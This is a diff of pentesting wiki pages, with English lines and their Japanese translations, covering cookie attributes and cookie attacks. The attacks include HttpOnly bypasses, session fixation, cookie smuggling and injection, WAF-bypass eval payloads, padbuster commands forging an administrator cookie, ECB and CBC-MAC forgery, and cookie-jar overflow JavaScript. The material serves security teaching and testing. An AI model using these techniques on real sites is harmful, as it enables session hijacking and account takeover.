Cookieの有効期限は`Expires`属性によって決まります。対照的に、`Max-age`属性はCookieが削除されるまでの時間秒単位を定義します。**`Max-age`を選択することをお勧めします。これはより現代的な慣行を反映しています。**
### Domain
The hosts to receive a cookie are specified by the `Domain` attribute. By default, this is set to the host that issued the cookie, not including its subdomains. However, when the `Domain` attribute is explicitly set, it encompasses subdomains as well. This makes the specification of the `Domain` attribute a less restrictive option, useful for scenarios where cookie sharing across subdomains is necessary. For instance, setting `Domain=mozilla.org` makes cookies accessible on its subdomains like `developer.mozilla.org`.
Cookieを受け取るホストは`Domain`属性によって指定されます。デフォルトでは、これはCookieを発行したホストに設定され、サブドメインは含まれません。しかし、`Domain`属性が明示的に設定されると、サブドメインも含まれます。これにより、サブドメイン間でのCookie共有が必要なシナリオで、`Domain`属性の指定が制限の少ないオプションとなります。たとえば、`Domain=mozilla.org`を設定すると、`developer.mozilla.org`のようなサブドメインでもCookieにアクセスできます。
### Path
A specific URL path that must be present in the requested URL for the `Cookie` header to be sent is indicated by the `Path` attribute. This attribute considers the `/` character as a directory separator, allowing for matches in subdirectories as well.
`Cookie`ヘッダーが送信されるために要求されたURLに存在しなければならない特定のURLパスは、`Path`属性によって示されます。この属性は`/`文字をディレクトリセパレーターとして考慮し、サブディレクトリ内での一致も可能にします。
### Ordering Rules
When two cookies bear the same name, the one chosen for sending is based on:
同じ名前のCookieが2つある場合、送信されるCookieは以下に基づいて選択されます
- The cookie matching the longest path in the requested URL.
- The most recently set cookie if the paths are identical.
- 要求されたURL内で最も長いパスに一致するCookie。
- パスが同じ場合は、最も最近設定されたCookie。
### SameSite
- The `SameSite` attribute dictates whether cookies are sent on requests originating from third-party domains. It offers three settings:
- **Strict**: Restricts the cookie from being sent on third-party requests.
- **Lax**: Allows the cookie to be sent with GET requests initiated by third-party websites.
- **None**: Permits the cookie to be sent from any third-party domain.
- `SameSite`属性は、Cookieがサードパーティのドメインからのリクエストで送信されるかどうかを決定します。3つの設定があります
- **Strict**: サードパーティのリクエストでCookieが送信されるのを制限します。
- **Lax**: サードパーティのウェブサイトによって開始されたGETリクエストでCookieが送信されることを許可します。
- **None**: どのサードパーティのドメインからでもCookieが送信されることを許可します。
Remember, while configuring cookies, understanding these attributes can help ensure they behave as expected across different scenarios.
Cookieを設定する際には、これらの属性を理解することで、さまざまなシナリオで期待通りに動作することを確保できます。
| **Request Type** | **Example Code** | **Cookies Sent When** |
| ---------------- | ---------------------------------- | --------------------- |
@ -45,75 +45,75 @@ Remember, while configuring cookies, understanding these attributes can help ens
| Image | \<img src="..."> | NetSet\*, None |
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed.
_**SameSite**_属性を持つCookieは、**CSRF攻撃を軽減**します。
**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None** during the **first 2 minutes and then as Lax for top-level cross-site POST request.**
**\*Chrome802019年2月以降、CookieにSameSite属性がない場合のデフォルトの動作はLaxになります** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
この変更を適用した後、一時的にChromeでは**SameSiteポリシーのないCookie**は**最初の2分間はNoneとして扱われ、その後はトップレベルのクロスサイトPOSTリクエストに対してLaxとして扱われます。**
## Cookies Flags
### HttpOnly
This avoids the **client** to access the cookie (Via **Javascript** for example: `document.cookie`)
これにより、**クライアント**がCookieにアクセスするのを防ぎます例えば、**Javascript**経由で:`document.cookie`)。
#### **Bypasses**
- If the page is **sending the cookies as the response** of a requests (for example in a **PHPinfo** page), it's possible to abuse the XSS to send a request to this page and **steal the cookies** from the response (check an example in [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
- This could be Bypassed with **TRACE** **HTTP** requests as the response from the server (if this HTTP method is available) will reflect the cookies sent. This technique is called **Cross-Site Tracking**.
- This technique is avoided by **modern browsers by not permitting sending a TRACE** request from JS. However, some bypasses to this have been found in specific software like sending `\r\nTRACE` instead of `TRACE` to IE6.0 SP2.
- Another way is the exploitation of zero/day vulnerabilities of the browsers.
- It's possible to **overwrite HttpOnly cookies** by performing a Cookie Jar overflow attack:
- ページがリクエストのレスポンスとしてCookieを**送信している**場合(例えば、**PHPinfo**ページで、XSSを悪用してこのページにリクエストを送り、レスポンスから**Cookieを盗む**ことが可能です(例は[こちら](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)を参照)。
- **TRACE** **HTTP**リクエストを使用することでバイパス可能です。サーバーからのレスポンスは送信されたCookieを反映します。この技術は**Cross-Site Tracking**と呼ばれます。
- この技術は、**モダンブラウザがJSからTRACEリクエストを送信することを許可しないことによって回避されます**。ただし、IE6.0 SP2に対して`TRACE`の代わりに`\r\nTRACE`を送信するなど、特定のソフトウェアでのバイパスが見つかっています。
- もう一つの方法は、ブラウザのゼロデイ脆弱性を悪用することです。
- Cookie Jarオーバーフロー攻撃を実行することで、**HttpOnly Cookieを上書きする**ことが可能です:
{{#ref}}
cookie-jar-overflow.md
{{#endref}}
- It's possible to use [**Cookie Smuggling**](./#cookie-smuggling) attack to exfiltrate these cookies
- これらのCookieを外部に持ち出すために[**Cookie Smuggling**](./#cookie-smuggling)攻撃を使用することが可能です。
### Secure
The request will **only** send the cookie in an HTTP request only if the request is transmitted over a secure channel (typically **HTTPS**).
リクエストは、**HTTPS**などの安全なチャネルを介して送信される場合にのみ、HTTPリクエストでCookieを**送信します**。
## Cookies Prefixes
Cookies prefixed with `__Secure-` are required to be set alongside the `secure` flag from pages that are secured by HTTPS.
`__Secure-`で始まるCookieは、HTTPSで保護されたページから`secure`フラグとともに設定される必要があります。
For cookies prefixed with `__Host-`, several conditions must be met:
`__Host-`で始まるCookieには、いくつかの条件が満たされなければなりません
- They must be set with the `secure` flag.
- They must originate from a page secured by HTTPS.
- They are forbidden from specifying a domain, preventing their transmission to subdomains.
- The path for these cookies must be set to `/`.
- `secure`フラグで設定されなければなりません。
- HTTPSで保護されたページから発信されなければなりません。
- ドメインを指定することは禁じられており、サブドメインへの送信を防ぎます。
- これらのCookieのパスは`/`に設定されなければなりません。
It is important to note that cookies prefixed with `__Host-` are not allowed to be sent to superdomains or subdomains. This restriction aids in isolating application cookies. Thus, employing the `__Host-` prefix for all application cookies can be considered a good practice for enhancing security and isolation.
`__Host-`で始まるCookieは、スーパードメインやサブドメインに送信されることは許可されていないことに注意することが重要です。この制限は、アプリケーションCookieを隔離するのに役立ちます。したがって、すべてのアプリケーションCookieに`__Host-`プレフィックスを使用することは、セキュリティと隔離を強化するための良いプラクティスと見なされます。
### Overwriting cookies
So, one of the protection of `__Host-` prefixed cookies is to prevent them from being overwritten from subdomains. Preventing for example [**Cookie Tossing attacks**](cookie-tossing.md). In the talk [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) it's presented that it was possible to set \_\_HOST- prefixed cookies from subdomain, by tricking the parser, for example, adding "=" at the beggining or at the beginig and the end...:
したがって、`__Host-`プレフィックスのCookieの保護の一つは、サブドメインからの上書きを防ぐことです。たとえば、[**Cookie Tossing attacks**](cookie-tossing.md)を防ぎます。トークで[**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))では、パーサーを騙すことでサブドメインから\_\_HOST-プレフィックスのCookieを設定することが可能であることが示されています。たとえば、最初や最後に"="を追加することなどです:
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Or in PHP it was possible to add **other characters at the beginning** of the cookie name that were going to be **replaced by underscore** characters, allowing to overwrite `__HOST-` cookies:
また、PHPでは、Cookie名の先頭に**他の文字を追加する**ことで、**アンダースコア**文字に置き換えられ、`__HOST-` Cookieを上書きすることが可能でした
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Cookies Attacks
If a custom cookie contains sensitive data check it (specially if you are playing a CTF), as it might be vulnerable.
カスタムCookieに機密データが含まれている場合は、確認してください特にCTFをプレイしている場合、脆弱性があるかもしれません。
### Decoding and Manipulating Cookies
Sensitive data embedded in cookies should always be scrutinized. Cookies encoded in Base64 or similar formats can often be decoded. This vulnerability allows attackers to alter the cookie's content and impersonate other users by encoding their modified data back into the cookie.
Cookieに埋め込まれた機密データは常に精査されるべきです。Base64や類似の形式でエンコードされたCookieは、しばしばデコード可能です。この脆弱性により、攻撃者はCookieの内容を変更し、修正されたデータを再度Cookieにエンコードすることで他のユーザーを偽装することができます。
### Session Hijacking
This attack involves stealing a user's cookie to gain unauthorized access to their account within an application. By using the stolen cookie, an attacker can impersonate the legitimate user.
この攻撃は、ユーザーのCookieを盗んで、アプリケーション内でのそのアカウントへの不正アクセスを得ることを含みます。盗まれたCookieを使用することで、攻撃者は正当なユーザーを偽装できます。
### Session Fixation
In this scenario, an attacker tricks a victim into using a specific cookie to log in. If the application does not assign a new cookie upon login, the attacker, possessing the original cookie, can impersonate the victim. This technique relies on the victim logging in with a cookie supplied by the attacker.
このシナリオでは、攻撃者が被害者を特定のCookieを使用してログインさせるように仕向けます。アプリケーションがログイン時に新しいCookieを割り当てない場合、攻撃者は元のCookieを持っているため、被害者を偽装できます。この技術は、被害者が攻撃者が提供したCookieでログインすることに依存しています。
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
**サブドメインにXSSを見つけた場合**や**サブドメインを制御している場合**は、次をお読みください:
{{#ref}}
cookie-tossing.md
@ -121,9 +121,9 @@ cookie-tossing.md
### Session Donation
Here, the attacker convinces the victim to use the attacker's session cookie. The victim, believing they are logged into their own account, will inadvertently perform actions in the context of the attacker's account.
ここでは、攻撃者が被害者に攻撃者のセッションCookieを使用させるように仕向けます。被害者は自分のアカウントにログインしていると信じて、攻撃者のアカウントのコンテキストで意図せずにアクションを実行します。
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
**サブドメインにXSSを見つけた場合**や**サブドメインを制御している場合**は、次をお読みください:
{{#ref}}
cookie-tossing.md
@ -131,121 +131,108 @@ cookie-tossing.md
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
Click on the previous link to access a page explaining possible flaws in JWT.
前のリンクをクリックして、JWTの可能な欠陥を説明するページにアクセスしてください。
JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.
Cookieで使用されるJSON Web TokensJWTも脆弱性を示す可能性があります。潜在的な欠陥とそれを悪用する方法についての詳細情報を得るには、JWTのハッキングに関するリンクされた文書にアクセスすることをお勧めします。
### Cross-Site Request Forgery (CSRF)
This attack forces a logged-in user to execute unwanted actions on a web application in which they're currently authenticated. Attackers can exploit cookies that are automatically sent with every request to the vulnerable site.
この攻撃は、ログイン中のユーザーに対して、現在認証されているWebアプリケーションで不要なアクションを実行させるものです。攻撃者は、脆弱なサイトへのすべてのリクエストに自動的に送信されるCookieを悪用できます。
### Empty Cookies
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows:
(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照してくださいブラウザは名前のないCookieの作成を許可しており、次のようにJavaScriptを通じて示すことができます
```js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
```
The result in the sent cookie header is `a=v1; test value; b=v2;`. Intriguingly, this allows for the manipulation of cookies if an empty name cookie is set, potentially controlling other cookies by setting the empty cookie to a specific value:
送信されたクッキー ヘッダーの結果は `a=v1; test value; b=v2;` です。興味深いことに、これは空の名前のクッキーが設定されている場合にクッキーを操作することを可能にし、空のクッキーを特定の値に設定することで他のクッキーを制御する可能性があります。
```js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
document.cookie = `${name}=${value}`
}
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
```
これにより、ブラウザはすべてのウェブサーバーによって `a` という名前のクッキーと `b` という値を持つクッキーとして解釈されるクッキー ヘッダーを送信します。
This leads to the browser sending a cookie header interpreted by every web server as a cookie named `a` with a value `b`.
#### Chrome Bug: Unicode Surrogate Codepoint Issue
In Chrome, if a Unicode surrogate codepoint is part of a set cookie, `document.cookie` becomes corrupted, returning an empty string subsequently:
#### Chromeのバグ: Unicodeサロゲートコードポイントの問題
Chromeでは、Unicodeサロゲートコードポイントがセットクッキーの一部である場合、`document.cookie` が破損し、その後空の文字列を返します:
```js
document.cookie = "\ud800=meep"
```
この結果、`document.cookie`は空の文字列を出力し、永続的な破損を示します。
This results in `document.cookie` outputting an empty string, indicating permanent corruption.
#### Cookie Smuggling Due to Parsing Issues
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Several web servers, including those from Java (Jetty, TomCat, Undertow) and Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), mishandle cookie strings due to outdated RFC2965 support. They read a double-quoted cookie value as a single value even if it includes semicolons, which should normally separate key-value pairs:
#### パースの問題によるクッキーのスモグリング
(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照) JavaJetty、TomCat、UndertowやPythonZope、cherrypy、web.py、aiohttp、bottle、webobを含むいくつかのウェブサーバーは、古いRFC2965サポートのためにクッキー文字列を誤って処理します。彼らは、セミコロンを含んでいても、ダブルクオートされたクッキー値を単一の値として読み取ります。セミコロンは通常、キーと値のペアを区切るべきです。
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Cookie Injection Vulnerabilities
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) The incorrect parsing of cookies by servers, notably Undertow, Zope, and those using Python's `http.cookie.SimpleCookie` and `http.cookie.BaseCookie`, creates opportunities for cookie injection attacks. These servers fail to properly delimit the start of new cookies, allowing attackers to spoof cookies:
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) サーバーによるクッキーの不適切な解析、特にUndertow、Zope、およびPythonの`http.cookie.SimpleCookie``http.cookie.BaseCookie`を使用しているものは、クッキーインジェクション攻撃の機会を生み出します。これらのサーバーは新しいクッキーの開始を適切に区切ることができず、攻撃者がクッキーを偽装することを可能にします:
- Undertow expects a new cookie immediately after a quoted value without a semicolon.
- Zope looks for a comma to start parsing the next cookie.
- Python's cookie classes start parsing on a space character.
- Undertowは、引用された値の直後にセミコロンなしで新しいクッキーを期待します。
- Zopeは、次のクッキーの解析を開始するためにカンマを探します。
- Pythonのクッキークラスは、スペース文字で解析を開始します。
This vulnerability is particularly dangerous in web applications relying on cookie-based CSRF protection, as it allows attackers to inject spoofed CSRF-token cookies, potentially bypassing security measures. The issue is exacerbated by Python's handling of duplicate cookie names, where the last occurrence overrides earlier ones. It also raises concerns for `__Secure-` and `__Host-` cookies in insecure contexts and could lead to authorization bypasses when cookies are passed to back-end servers susceptible to spoofing.
この脆弱性は、クッキーベースのCSRF保護に依存するWebアプリケーションにとって特に危険であり、攻撃者が偽装されたCSRFトークンクッキーを注入し、セキュリティ対策を回避する可能性があります。この問題は、Pythonが重複したクッキー名を処理する方法によって悪化し、最後の出現が以前のものを上書きします。また、`__Secure-`および`__Host-`クッキーが不安全なコンテキストで扱われることに対する懸念も生じ、クッキーが偽装に対して脆弱なバックエンドサーバーに渡されると、認可のバイパスにつながる可能性があります。
### Cookies $version and WAF bypasses
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), it might be possible to use the cookie attribute **`$Version=1`** to make the backend use an old logic to parse the cookie due to the **RFC2109**. Moreover, other values just as **`$Domain`** and **`$Path`** can be used to modify the behaviour of the backend with the cookie.
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), **`$Version=1`**クッキー属性を使用して、バックエンドが**RFC2109**のために古いロジックを使用してクッキーを解析することが可能かもしれません。さらに、**`$Domain`**や**`$Path`**のような他の値も、クッキーを使用してバックエンドの動作を変更するために使用できます。
#### Bypassing value analysis with quoted-string encoding
This parsing indicate to unescape escaped values inside the cookies, so "\a" becomes "a". This can be useful to bypass WAFS as:
この解析は、クッキー内のエスケープされた値をアンエスケープすることを示しており、したがって"\a"は"a"になります。これはWAFを回避するのに役立つ可能性があります
- `eval('test') => forbidden`
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
#### Bypassing cookie-name blocklists
In the RFC2109 it's indicated that a **comma can be used as a separator between cookie values**. And also it's possible to add **spaces and tabs before an after the equal sign**. Therefore a cookie like `$Version=1; foo=bar, abc = qux` doesn't generate the cookie `"foo":"bar, admin = qux"` but the cookies `foo":"bar"` and `"admin":"qux"`. Notice how 2 cookies are generated and how admin got removed the space before and after the equal sign.
RFC2109では、**カンマをクッキー値の区切りとして使用できる**ことが示されています。また、**等号の前後にスペースやタブを追加することも可能です**。したがって、`$Version=1; foo=bar, abc = qux`のようなクッキーは、クッキー`"foo":"bar, admin = qux"`を生成するのではなく、クッキー`foo":"bar"``"admin":"qux"`を生成します。2つのクッキーが生成され、adminの前後のスペースが削除されたことに注意してください。
#### Bypassing value analysis with cookie splitting
Finally different backdoors would join in a string different cookies passed in different cookie headers like in:&#x20;
最後に、異なるバックドアは、異なるクッキーヘッダーで渡された異なるクッキーを文字列に結合します。
```
GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;
```
Which could allow to bypass a WAF like in this example:
これにより、この例のようにWAFをバイパスできる可能性があります:
```
Cookie: name=eval('test//
Cookie: comment')
Resulting cookie: name=eval('test//, comment') => allowed
```
### 追加の脆弱なクッキーチェック
### Extra Vulnerable Cookies Checks
#### **基本チェック**
#### **Basic checks**
- **クッキー**は、**ログイン**するたびに**同じ**です。
- ログアウトして、同じクッキーを使用してみてください。
- 2つのデバイスまたはブラウザで同じアカウントに同じクッキーを使ってログインしてみてください。
- クッキーに情報が含まれているか確認し、変更を試みてください。
- ほぼ同じユーザー名でいくつかのアカウントを作成し、類似点が見えるか確認してください。
- "**ログイン状態を保持する**"オプションが存在する場合、その動作を確認してください。存在し、脆弱である可能性がある場合は、他のクッキーを使用せずに**ログイン状態を保持する**のクッキーを常に使用してください。
- パスワードを変更しても前のクッキーが機能するか確認してください。
- The **cookie** is the **same** every time you **login**.
- Log out and try to use the same cookie.
- Try to log in with 2 devices (or browsers) to the same account using the same cookie.
- Check if the cookie has any information in it and try to modify it
- Try to create several accounts with almost the same username and check if you can see similarities.
- Check the "**remember me**" option if it exists to see how it works. If it exists and could be vulnerable, always use the cookie of **remember me** without any other cookie.
- Check if the previous cookie works even after you change the password.
#### **高度なクッキー攻撃**
#### **Advanced cookies attacks**
ログイン時にクッキーが同じ(またはほぼ同じ)である場合、これはおそらくクッキーがアカウントのいくつかのフィールド(おそらくユーザー名)に関連していることを意味します。次に、あなたは:
If the cookie remains the same (or almost) when you log in, this probably means that the cookie is related to some field of your account (probably the username). Then you can:
- Try to create a lot of **accounts** with usernames very **similar** and try to **guess** how the algorithm is working.
- Try to **bruteforce the username**. If the cookie saves only as an authentication method for your username, then you can create an account with username "**Bmin**" and **bruteforce** every single **bit** of your cookie because one of the cookies that you will try will the one belonging to "**admin**".
- Try **Padding** **Oracle** (you can decrypt the content of the cookie). Use **padbuster**.
**Padding Oracle - Padbuster examples**
- 非常に**似た**ユーザー名でたくさんの**アカウント**を作成し、アルゴリズムがどのように機能しているかを**推測**してみてください。
- **ユーザー名をブルートフォース**してみてください。クッキーがあなたのユーザー名の認証方法としてのみ保存されている場合、ユーザー名"**Bmin**"でアカウントを作成し、クッキーのすべての**ビット**を**ブルートフォース**することができます。なぜなら、あなたが試すクッキーの1つは"**admin**"に属するものだからです。
- **パディング** **オラクル**を試してください(クッキーの内容を復号化できます)。**padbuster**を使用してください。
**パディングオラクル - Padbusterの例**
```bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
@ -255,47 +242,43 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
```
Padbusterは複数回試行し、どの条件がエラー条件無効なものであるかを尋ねます。
Padbuster will make several attempts and will ask you which condition is the error condition (the one that is not valid).
Then it will start decrypting the cookie (it may take several minutes)
If the attack has been successfully performed, then you could try to encrypt a string of your choice. For example, if you would want to **encrypt** **user=administrator**
その後、クッキーの復号を開始します(数分かかる場合があります)。
攻撃が成功した場合、任意の文字列を暗号化してみることができます。たとえば、**encrypt** **user=administrator**を暗号化したい場合。
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
This execution will give you the cookie correctly encrypted and encoded with the string **user=administrator** inside.
この実行により、文字列 **user=administrator** が内部に含まれたクッキーが正しく暗号化され、エンコードされます。
**CBC-MAC**
Maybe a cookie could have some value and could be signed using CBC. Then, the integrity of the value is the signature created by using CBC with the same value. As it is recommended to use as IV a null vector, this type of integrity checking could be vulnerable.
クッキーには何らかの値があり、CBCを使用して署名される可能性があります。その場合、値の整合性は、同じ値を使用してCBCで作成された署名です。IVとしてヌルベクターを使用することが推奨されるため、このタイプの整合性チェックは脆弱である可能性があります。
**The attack**
**攻撃**
1. Get the signature of username **administ** = **t**
2. Get the signature of username **rator\x00\x00\x00 XOR t** = **t'**
3. Set in the cookie the value **administrator+t'** (**t'** will be a valid signature of **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
1. ユーザー名 **administ** の署名を取得 = **t**
2. ユーザー名 **rator\x00\x00\x00 XOR t** の署名を取得 = **t'**
3. クッキーに値 **administrator+t'** を設定 (**t'** は **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** の有効な署名になります)
**ECB**
If the cookie is encrypted using ECB it could be vulnerable.\
When you log in the cookie that you receive has to be always the same.
クッキーがECBを使用して暗号化されている場合、脆弱である可能性があります。\
ログインすると、受け取るクッキーは常に同じでなければなりません。
**How to detect and attack:**
**検出と攻撃方法:**
Create 2 users with almost the same data (username, password, email, etc.) and try to discover some pattern inside the given cookie
ほぼ同じデータユーザー名、パスワード、メールなどを持つ2つのユーザーを作成し、与えられたクッキー内のパターンを発見しようとします。
Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).
例えば "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" というユーザーを作成し、クッキーにパターンがあるかどうかを確認しますECBは同じキーで各ブロックを暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが現れる可能性があります
There should be a pattern (with the size of a used block). So, knowing how are a bunch of "a" encrypted you can create a username: "a"\*(size of the block)+"admin". Then, you could delete the encrypted pattern of a block of "a" from the cookie. And you will have the cookie of the username "admin".
使用されるブロックのサイズでパターンが存在するはずです。したがって、"a" の一群がどのように暗号化されるかを知っていれば、ユーザー名を "a"\*(ブロックのサイズ)+"admin" と作成できます。その後、クッキーから "a" のブロックの暗号化パターンを削除することができます。そして、ユーザー名 "admin" のクッキーを得ることができます。
## References
## 参考文献
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,10 +1,9 @@
{{#include ../../banners/hacktricks-training.md}}
**`Cookie bomb`** involves **adding a significant number of large cookies to a domain and its subdomains targeting a user**. This action results in the victim **sending oversized HTTP requests** to the server, which are subsequently **rejected by the server**. The consequence of this is the induction of a Denial of Service (DoS) specifically targeted at a user within that domain and its subdomains.
**`Cookie bomb`** は、**ユーザーをターゲットにして、ドメインおよびそのサブドメインに大量の大きなクッキーを追加すること**を含みます。この行動は、被害者が**サーバーに対して過剰なHTTPリクエストを送信する**結果となり、これらはその後**サーバーによって拒否されます**。その結果、特定のユーザーに対してドメインおよびそのサブドメイン内でのサービス拒否DoSが引き起こされます。
A nice **example** can be seen in this write-up: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
良い**例**はこのレポートに見ることができます: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
And for more information, you can check this presentation: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
さらに情報が必要な場合は、このプレゼンテーションを確認できます: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,25 +1,22 @@
{{#include ../../banners/hacktricks-training.md}}
The browsers have a **limit on the number of cookies** that they can store for a page. Then, if for some reason you need to **make a cookie disappear**, you can **overflow the cookie jar** as the oldest ones will be deleted before:
ブラウザには、ページごとに保存できる**クッキーの数の制限**があります。したがって、何らかの理由で**クッキーを消す必要がある**場合は、**クッキージャーをオーバーフロー**させることができます。そうすれば、最も古いクッキーが削除されます。
```javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`
document.cookie = `cookie${i}=${i}; Secure`
}
// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
}
```
Notice, that third party cookies pointing to a different domain won't be overwritten.
注意してください。異なるドメインを指すサードパーティのクッキーは上書きされません。
> [!CAUTION]
> This attack can also be used to **overwrite HttpOnly cookies as you can delete it and then reset it with the value you want**.
> この攻撃は、**HttpOnlyクッキーを上書きするためにも使用でき、削除してから希望の値でリセットできます**。
>
> Check this in [**this post with a lab**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
> これを[**このラボの投稿で確認してください**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,62 +2,62 @@
{{#include ../../banners/hacktricks-training.md}}
### Description
### 説明
If an attacker can **control a subdomain or the domain of a company or finds an XSS in a subdomain** he will be able to perform this attack.
攻撃者が**サブドメインまたは企業のドメインを制御するか、サブドメインにXSSを見つけることができれば**、この攻撃を実行できるようになります。
As it was indicated in the Cookies Hacking section, when a **cookie is set to a domain (specifying it) it will be used in the domain and subdomains.**
Cookies Hackingセクションで示されたように、**クッキーがドメインに設定されると(指定されている場合)、そのドメインとサブドメインで使用されます。**
> [!CAUTION]
> Therefore, **an attacker is going to be able to set to the domain and subdomains a specific cookie doing something like** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
> したがって、**攻撃者は特定のクッキーをドメインとサブドメインに設定できるようになり、次のようなことを行います** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
This can be dangerous as the attacker may be able to:
これは危険であり、攻撃者は次のことができるかもしれません:
- **Fixate the cookie of the victim to the attacker's account** so if the user doesn't notice, **he will perform the actions in the attacker's account** and the attacker may obtain some interesting information (check the history of the searches of the user in the platform, the victim may set his credit card in the account...)
- If the **cookie doesn't change after login**, the attacker may just **fixate a cookie (session-fixation)**, wait until the victim logs in and then **use that cookie to log in as the victim**.
- Sometimes, even if the session cookies changes, the attacker use the previous one and he will receive the new one also.
- If the **cookie is setting some initial value** (like in flask where the **cookie** may **set** the **CSRF token** of the session and this value will be maintained after the victim logs in), the **attacker may set this known value and then abuse it** (in that scenario, the attacker may then make the user perform a CSRF request as he knows the CSRF token).
- Just like setting the value, the attacker could also get an unauthenticated cookie generated by the server, get the CSRF token from it and use it.
- **被害者のクッキーを攻撃者のアカウントに固定する**ので、ユーザーが気づかない場合、**攻撃者のアカウントでアクションを実行します**。攻撃者は興味深い情報を取得できるかもしれません(プラットフォームでのユーザーの検索履歴を確認する、被害者がアカウントにクレジットカードを設定する...)。
- **クッキーがログイン後に変更されない場合**、攻撃者は単に**クッキーを固定(セッション固定)**し、被害者がログインするのを待ってから**そのクッキーを使用して被害者としてログインします**。
- 時には、セッションクッキーが変更されても、攻撃者は以前のものを使用し、新しいものも受け取ります。
